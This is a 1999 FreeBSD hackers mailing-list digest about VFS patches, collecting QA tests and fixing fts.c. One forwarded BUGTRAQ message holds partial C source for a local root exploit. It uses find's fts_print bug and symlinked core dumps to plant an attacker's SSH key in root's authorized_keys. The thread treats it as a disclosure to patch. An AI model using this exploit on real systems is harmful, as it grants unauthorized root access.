Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >I have a filesystem stress tests that are worth incorporating. I also have >a raw disk pattern checker, but that's less of a test than analysis tool. > >- -matt Great. Bundle something up and send it along, and I'll take a look. -Brian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 10:50:44 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dingo.cdrom.com (castles519.castles.com [208.214.165.83]) by hub.freebsd.org (Postfix) with ESMTP id 678AC15D2B for ; Thu, 26 Aug 1999 10:50:24 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id KAA02712; Thu, 26 Aug 1999 10:42:01 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199908261742.KAA02712@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: Alfred Perlstein Cc: Matthew Dillon , hackers@FreeBSD.ORG Subject: Re: HEADS UP Reviewers. VFS changes to be committed. In-reply-to: Your message of "Thu, 26 Aug 1999 10:57:00 -0000." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 26 Aug 1999 10:42:01 -0700 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > However, dt suggested I make VFS_CHECKEXP a VOP instead of VFS, my only > gripe is that exportability is determined by the filesystem, _then_ the > vnode, making it more of a VFS op imo. I think dt is right here; the issue is that the operation is performed on a vnode, not on a filesystem, and thus it's a VOP not a VFSOP. > Btw, are you planning on attending any BAFUG coming up? I'd love to hear > some of the preliminary stuff you are proposing for the filesystem. There's one tonight in Berkeley. Be there. -- \\ The mind's the standard \\ Mike Smith \\ of the man. \\ msmith@freebsd.org \\ -- Joseph Merrick \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 10:51: 8 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id C0A2D15D18 for ; Thu, 26 Aug 1999 10:51:02 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id KAA23483; Thu, 26 Aug 1999 10:48:15 -0700 (PDT) (envelope-from dillon) Date: Thu, 26 Aug 1999 10:48:15 -0700 (PDT) From: Matthew Dillon Message-Id: <199908261748.KAA23483@apollo.backplane.com> To: Alfred Perlstein Cc: hackers@FreeBSD.ORG Subject: Re: HEADS UP Reviewers. VFS changes to be committed. References: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :> :> I've done a quick once-over of your patch. From the point of view of :> the work I'm doing and the work Kirk will be doing later on, I do :> not think the patch will cause any problems since you are adding new :> VOPs for the most part rather then modifying (too many) existing VOPs. : :VFS, not VOP. Oops, sorry. I meant VFS. Same comments apply :-) Despite all the arguing on the lists about VFS defaults and related issues, nobody is doing or contemplating any actual work in this area (i.e. VFS vs VOP) except for you, so you are not conflicting with anyone. :> vfsnop_*() procedure explaining what it does, why it returns what :> it returns, locking requirements (if any) on entry, and side effects :> on return. This is just for readability. :> :> Do the same for all the procedures you are adding, in fact. : :The code isn't VOPs, it's VFS_ops, since they do nothing and don't :block there really aren't any pre-requisites for calling them. Sounds like a good comment! You and I may understand the code just fine, but the comments will help other developers. :VFS_CHECKEXP inherits the requirements of the old VFS_FHTOVP. : :However, dt suggested I make VFS_CHECKEXP a VOP instead of VFS, my only :gripe is that exportability is determined by the filesystem, _then_ the :vnode, making it more of a VFS op imo. Since you are the only one using it for the moment, do what you feel is best. Once you've begun implementing code that uses the new VFSops the appropriate place will become obvious and you can make the change (if any) then. :> that to. If it is significant, do more comprehensive testing on :> what you have left over (i.e. that impacts existing builds) and :> ask for another review after testing, before committing it. : :I'm totally lost here, can you re-phrase this? : :As far as the work done here, it's mostly a clean-up, no functional changes :with the exception of the addition of the fh* syscalls. I guess you :could call the VFS_CHECKEXP a functional change, but it's more of a :re-org :) For example, when I add certain functionality that was turned on by a sysctl (which defaults to off), I feel that it is 'safe' to commit it into the tree even though it may not have been tested comprehensively, because nobody else is going to touch that code operationally. I make the distinction between new code that isn't exercised by systems built by other people and new code which is. The new code that isn't exercised does not need the level of testing prior to commit that code which is exercised by the masses needs. That's all. It's a rule of thumb of mine. :> A working lock daemon would be totally awesome! The fh*() routines :> you are adding are roughly what you (and we) need to make progress in :> this area! : :Yes, i'd really like to get this off the ground. :) : :Btw, are you planning on attending any BAFUG coming up? I'd love to hear :some of the preliminary stuff you are proposing for the filesystem. : :Thank you for your time, :-Alfred I don't know re: the BAFUG meeting. I might not be in town. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 10:51:35 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from kang.tinet.ie (kang.tinet.ie [159.134.237.28]) by hub.freebsd.org (Postfix) with ESMTP id 0673D15DE7 for ; Thu, 26 Aug 1999 10:51:23 -0700 (PDT) (envelope-from crypt0genic@tinet.ie) Received: from p1.as1.cork1.tinet.ie ([159.134.228.1] helo=tweak.home) by kang.tinet.ie with esmtp (Exim 2.05 #23) id 11K3e7-0000aB-00 for hackers@freebsd.org; Thu, 26 Aug 1999 18:49:08 +0100 Received: (from crypt0genic@localhost) by tweak.home (8.9.3/8.9.3) id SAA00510 for hackers@freebsd.org; Thu, 26 Aug 1999 18:46:56 +0100 (IST) Date: Thu, 26 Aug 1999 18:46:54 +0100 From: crypt0genic To: hackers@freebsd.org Subject: (forw) FreeBSD (and other BSDs?) local root explot Message-ID: <19990826184654.A489@ecad.org> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary=VS++wcV0S1rZb1Fb X-Mailer: Mutt 0.95.6i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --VS++wcV0S1rZb1Fb Content-Type: text/plain; charset=us-ascii This was just posted to BUGTRAQ, are the FreeBSD developers aware of this yet? -Emil -- Reverse engineering, the most fun and usually the most effective way to tackle a problem or learn something new. Public PGP key: http://www.ecad.org/crypt0genic_pgp_key Website: http://www.ecad.org/ --VS++wcV0S1rZb1Fb Content-Type: message/rfc822 Received: from localhost (localhost [127.0.0.1]) by tweak.home (8.9.3/8.9.3) with ESMTP id SAA00326 for ; Thu, 26 Aug 1999 18:09:30 +0100 (IST) Envelope-to: zip@tinet.ie Delivery-date: Thu, 26 Aug 1999 17:12:52 +0100 Received: from mail.tinet.ie by localhost with POP3 (fetchmail-5.0.5) for crypt0genic@localhost (single-drop); Thu, 26 Aug 1999 18:09:30 +0100 (IST) Received: from amulon.lightrealm.com ([216.122.36.164] helo=ecad.org) by brockman.tinet.ie with esmtp (Exim 2.05 #23) id 11K28y-0000xZ-00 for zip@tinet.ie; Thu, 26 Aug 1999 17:12:52 +0100 Received: from lists.securityfocus.com (lists.securityfocus.com [216.102.46.4]) by ecad.org (8.8.7/8.8.5) with SMTP id JAA06463 for ; Thu, 26 Aug 1999 09:11:57 -0700 (PDT) Received: (qmail 71 invoked from network); 26 Aug 1999 08:16:39 -0000 Received: from lists.securityfocus.com (216.102.46.4) by lists.securityfocus.com with SMTP; 26 Aug 1999 08:16:39 -0000 Received: from LISTS.SECURITYFOCUS.COM by LISTS.SECURITYFOCUS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 868445 for BUGTRAQ@LISTS.SECURITYFOCUS.COM; Thu, 26 Aug 1999 01:15:05 -0700 Approved-By: aleph1@SECURITYFOCUS.COM Received: from securityfocus.com (216.102.46.2) by lists.securityfocus.com with SMTP; 24 Aug 1999 21:48:23 -0000 Received: (qmail 17819 invoked by alias); 24 Aug 1999 21:48:22 -0000 Delivered-To: bugtraq@securityfocus.com Received: (qmail 17816 invoked from network); 24 Aug 1999 21:48:22 -0000 Received: from mx1.lublin.pl (root@212.182.63.76) by securityfocus.com with SMTP; 24 Aug 1999 21:48:22 -0000 Received: from lagoon.freebsd.lublin.pl ([212.182.117.180]:38159 "HELO lagoon.FreeBSD.lublin.pl") by krupik.man.lublin.pl with SMTP id ; Tue, 24 Aug 1999 23:48:01 +0200 Received: (qmail 74242 invoked by uid 66); 24 Aug 1999 21:50:25 -0000 Received: (qmail 17335 invoked from network); 24 Aug 1999 21:47:14 -0000 Received: from lagoon.gadaczka.org (HELO lagoon.gadaczka.FreeBSD.lublin.pl) (venglin@192.168.0.2) by mailhost.gadaczka.org with SMTP; 24 Aug 1999 21:47:14 -0000 X-Mailer: XFMail 1.3 [p0] on Linux X-Priority: 3 (Normal) Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT MIME-Version: 1.0 X-SMS: +48601383657@text.plusgsm.pl X-PGP: PGP key on WWW or finger X-Operating-System: FreeBSD 3.2-STABLE (i386) Message-ID: Date: Tue, 24 Aug 1999 23:47:05 +0200 Reply-To: Przemyslaw Frasunek Sender: Bugtraq List From: Przemyslaw Frasunek Organization: Lubelska Grupa Uzytkownikow BSD Subject: FreeBSD (and other BSDs?) local root explot X-To: bugtraq@securityfocus.com To: BUGTRAQ@SECURITYFOCUS.COM -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 /* (c) 1999 babcia padlina ltd. bug in fts_print function allows to overwrite any file in system, when running /etc/security script (executed from 'daily' scripts). affected systems: - freebsd (all versions) - probably openbsd/netbsd fix: - limit root's coredump size - patch libc */ #include #include #include #include #include #define STRING "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n" #define FILE "/root/.ssh/authorized_keys" #define CORE "find.core" #define DEPTH 300 #define BUFSIZE 250 int makedir(dir, linkfrom, linkto) char *dir, *linkfrom, *linkto; { if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO))) return -1; if (chdir(dir)) return -1; if (symlink(linkfrom, linkto) < 0) return -1; return 0; } int main(argc, argv) int argc; char **argv; { int i = 0; char pid[10], buf[BUFSIZE]; sprintf(pid, "%d", getpid()); if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO))) { perror("mkdir()"); return -1; } if (chdir(pid)) { perror("chdir()"); return -1; } bzero(buf, BUFSIZE); memset(buf, 0x41, BUFSIZE-1); for(i=0;i; Thu, 26 Aug 1999 10:52:24 -0700 (PDT) (envelope-from bmcgover@bmcgover-pc.cisco.com) Received: from bmcgover-pc.cisco.com (bmcgover-pc.cisco.com [171.69.104.147]) by tornado.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id NAA05033; Thu, 26 Aug 1999 13:52:05 -0400 (EDT) Received: from bmcgover-pc.cisco.com (localhost.pa.dtd.cisco.com [127.0.0.1]) by bmcgover-pc.cisco.com (8.9.3/8.9.3) with ESMTP id NAA00435; Thu, 26 Aug 1999 13:52:05 -0400 (EDT) (envelope-from bmcgover@bmcgover-pc.cisco.com) Message-Id: <199908261752.NAA00435@bmcgover-pc.cisco.com> To: Mark Murray Cc: hackers@FreeBSD.ORG Subject: Re: Looking for good QA tests... Date: Thu, 26 Aug 1999 13:52:05 -0400 From: Brian McGovern Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >> Therefore, I'm asking people to put their minds to work, and talk >> about valid tests that we could run to catch things that might slip >> through the cracks. I'm hoping that some of the long-timers can point >> out areas that have been missed before, and others to point out areas >> where they have seen local problems. > >As you are a networking outfit, I would imagine that you would be interested >in two things: Hmm... Its good to see that there are people in the world who don't think we're a food company (for the non-locals, there is a Sysco in New England (USA) that does food distribution. They always confuse them with us (Cisco)). >1) Does the core OS still work, and >2) Does the networking still work? > >1) Is usually well checkable with a "make world", and >2) could (I imagine) be well tested with a make world with > NFS mounted disks, possibly using another FreeBSD box as > a router for extra stress. > >Is this what you are looking for? Mmmm... No. _I_ (read: Not Cisco as a whole) am looking for tests that will help locate bugs pre-release copies of the OS so that there is still time for others to debug the code before Jordan cuts the release. Its more of a "lets help the project by coordinating testing" thing.... -Brian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 10:58:47 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id 7A6ED15D5D for ; Thu, 26 Aug 1999 10:58:33 -0700 (PDT) (envelope-from dwmalone@maths.tcd.ie) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 26 Aug 1999 18:57:25 +0100 (BST) Date: Thu, 26 Aug 1999 18:57:24 +0100 From: David Malone To: Matthew Jacob Cc: Mark Murray , Brian McGovern , hackers@FreeBSD.ORG Subject: Re: Looking for good QA tests... Message-ID: <19990826185724.A99079@walton.maths.tcd.ie> References: <199908261738.TAA02916@gratis.grondar.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: ; from Matthew Jacob on Thu, Aug 26, 1999 at 10:41:58AM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Aug 26, 1999 at 10:41:58AM -0700, Matthew Jacob wrote: > > I have a filesystem stress tests that are worth incorporating. I also have > a raw disk pattern checker, but that's less of a test than analysis tool. Does it check do things that should fail aswell as things that should work? One of the problems with using buildworld's and the like is that they don't try anything that should fail. (What I have in mind here are things like cross device links, symlink loops, operating files that you shouldn't be able to, filling the disk and checking you get an error...) It would be nice to go through the man (2) pages and look at the error code sections and write code that deliberately provokes as many errors as possible. David. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 11: 5:37 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 24565151F3 for ; Thu, 26 Aug 1999 11:05:21 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from semuta.feral.com (semuta [192.67.166.70]) by feral.com (8.8.7/8.8.7) with ESMTP id LAA27546; Thu, 26 Aug 1999 11:04:16 -0700 Date: Thu, 26 Aug 1999 11:04:15 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: David Malone Cc: Mark Murray , Brian McGovern , hackers@FreeBSD.ORG Subject: Re: Looking for good QA tests... In-Reply-To: <19990826185724.A99079@walton.maths.tcd.ie> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Thu, Aug 26, 1999 at 10:41:58AM -0700, Matthew Jacob wrote: > > > > I have a filesystem stress tests that are worth incorporating. I also have > > a raw disk pattern checker, but that's less of a test than analysis tool. > > Does it check do things that should fail aswell as things that > should work? One of the problems with using buildworld's and the > like is that they don't try anything that should fail. No, it's a stress tester. > > (What I have in mind here are things like cross device links, > symlink loops, operating files that you shouldn't be able to, > filling the disk and checking you get an error...) That's more than I've written up. There are a set of other tests I've collected over the years- some of them have this (like building directory trees 100 deep and removing them). Not much other than the SVVS tests has attempted to also fully test the positive and negative errors. I have had access to the SVVS source, but I suspect it's still encumbered so it oculdn't be used here. > > It would be nice to go through the man (2) pages and look at the > error code sections and write code that deliberately provokes as > many errors as possible. Yes. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 11: 5:58 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 6846515F44 for ; Thu, 26 Aug 1999 11:05:52 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from semuta.feral.com (semuta [192.67.166.70]) by feral.com (8.8.7/8.8.7) with ESMTP id LAA27557; Thu, 26 Aug 1999 11:05:43 -0700 Date: Thu, 26 Aug 1999 11:05:42 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Brian McGovern Cc: hackers@freebsd.org Subject: Re: Looking for good QA tests... In-Reply-To: <199908261741.NAA00371@bmcgover-pc.cisco.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > >I have at least one filesystem killer test. > > And it is?... Like I mentioned, we're trying to collect tests/code that will > demonstrate bugs. > > >I'll try and figure out a good place to hang it in the source tree, but I > >believe that it's usage is a mandatory "must use" for validating FFS > >and VM code. > > Tell you what... Ship the code to me, and I'll put it together with anything > else I get :) > > >I already devote > >several machines to freebsd, so I can offer help here. I am very > >overbooked, but I can certainly review and comment upon test plans and > >maybe add a few of my own. > > Good to have you on board. > -Brian > It needs a little cleanup (i.e., a man page and perhaps some other cleanups to try and autosize things correctly, but here it is). It is one of the dumber but most effective tests I've run across. Lemme get to this tonite and package up a couple of things and put them somewhere visible. Then people can see if they're worth packaging or starting from. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 11:12: 2 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from pol1.prairie.ca (pol1.prairie.ca [207.176.232.34]) by hub.freebsd.org (Postfix) with ESMTP id A9DE015DED for ; Thu, 26 Aug 1999 11:11:48 -0700 (PDT) (envelope-from tmorison@prairie.ca) Received: from port117.max1.brn1.prairie.ca (user) [207.176.232.117] by pol1.prairie.ca with smtp (Exim 1.92 #1 (Debian)) id 11K3yt-0006aw-00; Thu, 26 Aug 1999 13:10:35 -0500 Message-ID: <000801beefff$2d02a6c0$75e8b0cf@user> From: "Trevor Morrison" To: Subject: trying to get into my old add Date: Thu, 26 Aug 1999 13:11:20 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0005_01BEEFC4.7D336020" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0005_01BEEFC4.7D336020 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable this is Playerbigdaddy, I forgot the password to my old e-mail address and i can't = get in. Can you help me even reply and let me know how to do it so i can = try or get in for me and reply to me and let me know what the password = is . playerbigdaddy@hotmail.com = thanks alot Playerbigdaddy=20 ------=_NextPart_000_0005_01BEEFC4.7D336020 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
this is Playerbigdaddy,
          &nbs= p; I=20 forgot the password to my old e-mail address and i can't get in. Can you = help=20 me even reply and let me know how to do it so i can try or get = in for=20 me and reply to me and let me know what the password = is .
          &nbs= p;            = ;            =           =20 playerbigdaddy@hotmail.com=
          &nbs= p;            = ;            =             &= nbsp;           &n= bsp;           &nb= sp;           &nbs= p; =20 thanks alot        =20 Playerbigdaddy 
------=_NextPart_000_0005_01BEEFC4.7D336020-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 11:24: 7 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gratis.grondar.za (gratis.grondar.za [196.7.18.133]) by hub.freebsd.org (Postfix) with ESMTP id 96E9D15C93 for ; Thu, 26 Aug 1999 11:23:54 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grondar.za (localhost [127.0.0.1]) by gratis.grondar.za (8.9.3/8.9.3) with ESMTP id UAA03568; Thu, 26 Aug 1999 20:22:45 +0200 (SAST) (envelope-from mark@grondar.za) Message-Id: <199908261822.UAA03568@gratis.grondar.za> To: Brian McGovern Cc: hackers@FreeBSD.ORG Subject: Re: Looking for good QA tests... Date: Thu, 26 Aug 1999 20:22:44 +0200 From: Mark Murray Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Mmmm... No. _I_ (read: Not Cisco as a whole) am looking for tests that will > help locate bugs pre-release copies of the OS so that there is still time for > others to debug the code before Jordan cuts the release. Its more of a > "lets help the project by coordinating testing" thing.... A regression test to make sure that the OS is not broken before you inflict it on your colleagues/engineers? M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 11:26:29 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from tornado.cisco.com (tornado.cisco.com [171.69.104.22]) by hub.freebsd.org (Postfix) with ESMTP id D79AF14DCB for ; Thu, 26 Aug 1999 11:26:27 -0700 (PDT) (envelope-from bmcgover@bmcgover-pc.cisco.com) Received: from bmcgover-pc.cisco.com (bmcgover-pc.cisco.com [171.69.104.147]) by tornado.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id OAA06174; Thu, 26 Aug 1999 14:26:26 -0400 (EDT) Received: from bmcgover-pc.cisco.com (localhost.pa.dtd.cisco.com [127.0.0.1]) by bmcgover-pc.cisco.com (8.9.3/8.9.3) with ESMTP id OAA00692; Thu, 26 Aug 1999 14:26:26 -0400 (EDT) (envelope-from bmcgover@bmcgover-pc.cisco.com) Message-Id: <199908261826.OAA00692@bmcgover-pc.cisco.com> To: Mark Murray Cc: hackers@FreeBSD.ORG Subject: Re: Looking for good QA tests... Date: Thu, 26 Aug 1999 14:26:26 -0400 From: Brian McGovern Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >> Mmmm... No. _I_ (read: Not Cisco as a whole) am looking for tests that will >> help locate bugs pre-release copies of the OS so that there is still time for >> others to debug the code before Jordan cuts the release. Its more of a >> "lets help the project by coordinating testing" thing.... > >A regression test to make sure that the OS is not broken before you >inflict it on your colleagues/engineers? > >M Still too small a scope. How about "A regression test to make sure that the OS is not broken before Jordan inflicts it on the world" ? -Brian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 11:38:50 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gratis.grondar.za (gratis.grondar.za [196.7.18.133]) by hub.freebsd.org (Postfix) with ESMTP id BBCB614D4D for ; Thu, 26 Aug 1999 11:38:43 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grondar.za (localhost [127.0.0.1]) by gratis.grondar.za (8.9.3/8.9.3) with ESMTP id UAA03696; Thu, 26 Aug 1999 20:38:31 +0200 (SAST) (envelope-from mark@grondar.za) Message-Id: <199908261838.UAA03696@gratis.grondar.za> To: Brian McGovern Cc: hackers@FreeBSD.ORG Subject: Re: Looking for good QA tests... Date: Thu, 26 Aug 1999 20:38:31 +0200 From: Mark Murray Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Still too small a scope. How about "A regression test to make sure > that the OS is not broken before Jordan inflicts it on the world" ? Athough it does not actively hunt down bugs, a NFS mounted, FreeBSD-routed build should stress enough of the system to disprove many serious problems. Inflicting it on "standard idiots" to check for install problems is a human-engineering aproach you could also take? Impossible to automate, though. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 11:42: 8 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (Postfix) with ESMTP id 3674C14EB9 for ; Thu, 26 Aug 1999 11:42:07 -0700 (PDT) (envelope-from julian@whistle.com) Received: from current1.whistle.com (current1.whistle.com [207.76.205.22]) by alpo.whistle.com (8.9.1a/8.9.1) with SMTP id LAA76765; Thu, 26 Aug 1999 11:40:15 -0700 (PDT) Date: Thu, 26 Aug 1999 11:40:35 -0700 (PDT) From: Julian Elischer To: crypt0genic Cc: hackers@FreeBSD.ORG Subject: Re: (forw) FreeBSD (and other BSDs?) local root explot In-Reply-To: <19990826184654.A489@ecad.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG works as advertised for me... quickest fix would be to make the core-dump routines not follow symlinks. On Thu, 26 Aug 1999, crypt0genic wrote: > > This was just posted to BUGTRAQ, are the FreeBSD developers aware of this yet? > > -Emil > > -- > Reverse engineering, the most fun and usually the most effective way > to tackle a problem or learn something new. > Public PGP key: http://www.ecad.org/crypt0genic_pgp_key > Website: http://www.ecad.org/ > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 11:43:53 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from fep4.post.tele.dk (fep4.post.tele.dk [195.41.46.139]) by hub.freebsd.org (Postfix) with ESMTP id 6A40214D4D for ; Thu, 26 Aug 1999 11:43:50 -0700 (PDT) (envelope-from pho@freebsd.org) Received: from freebsd.org ([195.249.209.206]) by fep4.post.tele.dk (InterMail v4.0 201-221) with ESMTP id <19990826184350.ROHE14863.fep4@freebsd.org> for ; Thu, 26 Aug 1999 20:43:50 +0200 Message-ID: <37C5A7D5.9A7F4B25@freebsd.org> Date: Thu, 26 Aug 1999 22:47:17 +0200 From: Peter Holm X-Mailer: Mozilla 4.5 [en] (X11; I; FreeBSD 3.2-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Seeking testers for change to lib/libc/gen/fts.c Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG PROBLEM: Find core dumps with extreme long path names. See also kern/12855 CAUSE: fts.c does not handle realloc of buffer space correctly. FIX: Upgrade fts.c from OpenBSD version 1.9 to 1.20. The fix for when fts_open is used with option FTS_NOCHDIR the full path entry of type FTS_DP is returned with a trailing '/' if the final directory is empty, was incorporated in version 1.20. Thanx to Todd Miller millert@OpenBSD.org The patch is available at http://www.freebsd.org/~pho/fts.diff -- Peter Holm To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 11:53:38 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id 4695615333 for ; Thu, 26 Aug 1999 11:53:31 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id LAA24029; Thu, 26 Aug 1999 11:51:06 -0700 (PDT) (envelope-from dillon) Date: Thu, 26 Aug 1999 11:51:06 -0700 (PDT) From: Matthew Dillon Message-Id: <199908261851.LAA24029@apollo.backplane.com> To: Mark Murray Cc: Brian McGovern , hackers@FreeBSD.ORG Subject: Re: Looking for good QA tests... References: <199908261838.UAA03696@gratis.grondar.za> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :> Still too small a scope. How about "A regression test to make sure :> that the OS is not broken before Jordan inflicts it on the world" ? : :Athough it does not actively hunt down bugs, a NFS mounted, :FreeBSD-routed build should stress enough of the system to disprove many :serious problems. : :Inflicting it on "standard idiots" to check for install problems is a :human-engineering aproach you could also take? Impossible to automate, :though. : :M :-- :Mark Murray :Join the anti-SPAM movement: http://www.cauce.org This is what I usually do: * machine artificially limited to 32M of ram. * NFSv3 mounted /usr/src * NFS mounted /usr/obj or VN(swap-backed,softupdates-enabled) mounted /usr/obj or ccd'd /usr/obj depending on what I am testing * lots of swap space (either NFS-based or a real disk, depending) * make -j 12 buildworld Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 12:52:33 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gateway.cybernet.com (gateway.cybernet.com [192.245.33.1]) by hub.freebsd.org (Postfix) with ESMTP id 550C515E09 for ; Thu, 26 Aug 1999 12:52:28 -0700 (PDT) (envelope-from mtaylor@cybernet.com) Received: from spiffy.cybernet.com (spiffy.cybernet.com [192.245.33.55]) by gateway.cybernet.com (8.8.8/8.8.8) with ESMTP id PAA21118 for ; Thu, 26 Aug 1999 15:52:23 -0400 (EDT) (envelope-from mtaylor@cybernet.com) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Thu, 26 Aug 1999 15:57:14 -0400 (EDT) Reply-To: mtaylor@cybernet.com Organization: Cybernet Systems From: "Mark J. Taylor" To: hackers@freebsd.org Subject: Request for review: vnconfig.c Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG (Since this will be one of my first commits, I'd like to pass it by as many people as possible.) This patch makes "vnconfig" like "ccdconfig" where you don't have to specify "/dev/xxx": it will add "/dev/" for you. Same goes for the "vntab" file. Also includes "-Wall" cleanup. [I already know about the malloc() 